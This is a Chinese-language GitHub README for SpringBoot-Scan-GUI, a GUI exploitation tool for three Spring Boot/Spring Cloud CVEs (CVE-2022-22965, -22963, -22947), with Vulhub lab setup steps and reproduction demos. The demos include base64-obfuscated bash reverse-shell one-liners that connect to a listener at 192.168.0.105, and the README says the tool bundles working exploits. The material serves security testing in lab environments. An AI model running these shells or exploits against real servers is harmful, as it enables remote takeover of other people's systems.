Skip to content

mygit2014/SpringBoot-Scan-GUI

Repository files navigation

SpringBoot-Scan-GUI

开源工具 SpringBoot-Scan 的GUI图形化版本,对你有用的话麻烦点个Star哈哈~

GUI

注意:本工具内置相关漏洞的Exp,杀软报毒属于正常现象!

Windows使用

python3 SpringBoot-Scan-GUI.py 

也可以直接下载执行release打包好的exe程序

Linux使用

python3 SpringBoot-Scan-GUI-Linux.py 

或者使用 wine 来执行:

sudo wine SpringBoot-Scan-GUI.exe 

VulHub 漏洞测试环境搭建

git clone https://github.com/vulhub/vulhub.git 

安装Docker环境

sudo apt-get install docker.io sudo apt install docker-compose 

搭建CVE-2022-22965

cd /vulhub/CVE-2022-22965 sudo docker-compose up -d 

搭建CVE-2022-22963

cd /vulhub/CVE-2022-22963 sudo docker-compose up -d 

搭建CVE-2022-22947

cd /vulhub/CVE-2022-22947 sudo docker-compose up -d 

如果报错,自行修改 .yml 文件中映射的端口号

漏洞复现演示

一、CVE-2022-22965

VulHub 环境复现

imageimageimage

内置shellimage

aabysszg-shellimage

13exp-shell

image

春秋云境 环境复现

image

内置shellimage

13exp-shellimage

aabysszg-shellimageimage

二、CVE-2022-22963

VulHub 环境复现

准备反弹shell:

bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i} || (Base64) 

编码内容→ bash -i >& /dev/tcp/192.168.0.105/8888 0>&1

Kali监听对应端口: image

漏洞利用imageimage

春秋云境 环境复现

注:云境反弹shell需使用公网服务器

服务器监听 image

imageimage

三、CVE-2022-22947

VulHub 环境复现

同样准备反弹shell

bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1Lzg4ODkgMD4mMQ==}|{base64,-d}|{bash,-i} || (Base64) 

编码内容→ bash -i >& /dev/tcp/192.168.0.105/8889 0>&1

kali监听对应端口: image

漏洞利用imageimage

春秋云境 环境复现

imageimage

项目Star统计

star

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python99.8%
  • Other0.2%